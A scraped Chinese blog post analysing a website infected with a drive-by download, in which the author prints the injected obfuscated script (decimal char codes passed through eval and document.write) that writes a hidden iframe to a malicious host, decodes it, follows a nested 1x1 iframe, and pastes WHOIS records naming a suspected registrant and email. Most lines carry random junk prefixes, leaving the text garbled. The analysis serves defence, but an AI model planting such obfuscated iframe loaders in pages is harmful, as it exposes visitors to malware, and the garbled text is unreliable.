首发在我的博客里面,
:.nRN`e ;l!`C' :' http://www.areway.cn/?p=175 r9@AT( E*CcV; ]U_ec*a 周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:
^T079=$5 8 ws$k\> <script>t=’60,105,102,114,97,109,101,
id,NONb\ 32,115,114,99,61,104,116,116,112,58,47,47,
oF|N O^H 102,114,101,101,46,117,45,117,117,117,46,99,
/q1s;I 110,47,101,114,114,111,114,46,104,116,109,
658^"]Rk'/ 32,119,105,100,116,104,61,49,48,48,32,104,
R7_VXvm>z 101,105,103,104,116,61,48,62,60,47,105,102,
ht6244: 114,97,109,101,62′;
.<&s%{EW t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
ai-n z-; -5Utlos <script>t=’60,105,102,114,97,109,101,32,115,
|b.z*G 114,99,61,104,116,116,112,58,47,47,102,114,
PCE4W^ns 101,101,46,117,45,117,117,117,46,99,110,47,
OAe#Wf!c 101,114,114,111,114,46,104,116,109,32,119,
LU2waq}VA 105,100,116,104,61,49,48,48,32,104,101,105,
p3]Q^KFS 103,104,116,61,48,62,60,47,105,102,114,97,
l-O$ m 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
l] !B#{ document.write(t);</script>
pv# 2]v 0A[e sWmP <html xmlns=”
bB6[Xj{ http://www.w3.org/1999/xhtml >k(MUmhX “>
WUoOGbA ` <head>
&M[f&_"8Q <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
WES#ZYtT <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
=r4!V> <title>首页 - 爱生活家庭网
8q^o.+9 g>j| ]6 上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。
SF<Vds}A2 转换字符串后的大概内容是(谁点击后果自付):
}31ZX <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Mr3-q zG9|K 查询玉米u-uuu.cn的详细信息:
h*l&RR:i Domain Name: u-uuu.cn
[r-}bp'Gp ROID: 20070901s10001s64972306-cn
?6N3tk-2 Domain Status: ok
$yb@
Hhx> Registrant Organization: 王雷
!xK=#pa Registrant Name: 王雷
/@Y CA}|/ Administrative Email:
czlovexs@126.com J"CJYuGW, Sponsoring Registrar: 北京万网志成科技有限公司
<"tDAx Name Server:ns.yovole.com
WlVl[/qt Name Server:ns1.yovole.com
pGGmA;TC1 Registration Date: 2007-09-01 17:54
?S[Y:<R{: Expiration Date: 2008-09-01 17:54
QU5Sy oL[ 最后PING了一下地址 都没有什么….
>fs2kha iEHh{H( 上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套.
f~h~5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Y`ihi,s`H <script language=”javascript” src=”
"v]%3i.*
- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script D$r
Uid >
l54
m22pfv 这个玉米应该有可能是木马作者的:
vNDu9ovs- foafau.info的详细信息:
3Qn!y\# Access to INFO WHOIS information is provided to assist persons in
mY-hN| determining the contents of a domain name registration record in the
Le#spvV3J| Afilias registry database. The data in this record is provided by
1|| nR4yK Afilias Limited for informational purposes only, and Afilias does not
vF={9G guarantee its accuracy. This service is intended only for query-based
"8<K'zeS8 access. You agree that you will use this data only for lawful purposes
m#5_%3T and that, under no circumstances will you use this data to: (a) allow,
B#l?IB~ enable, or otherwise support the transmission by e-mail, telephone, or
= !2NU facsimile of mass unsolicited, commercial advertising or solicitations
QwWW!8 to entities other than the data recipient’s own existing customers; or
&0
\
ci9o (b) enable high volume, automated, electronic processes that send
~)X[(T{ queries or data to the systems of Registry Operator, a Registrar, or
%w}gzxN^ Afilias except as reasonably necessary to register domain names or
m,MSMw1p modify existing registrations. All rights reserved. Afilias reserves
dQ:cYNm the right to modify these terms at any time. By submitting this query,
h #.N3o you agree to abide by this policy.
[c&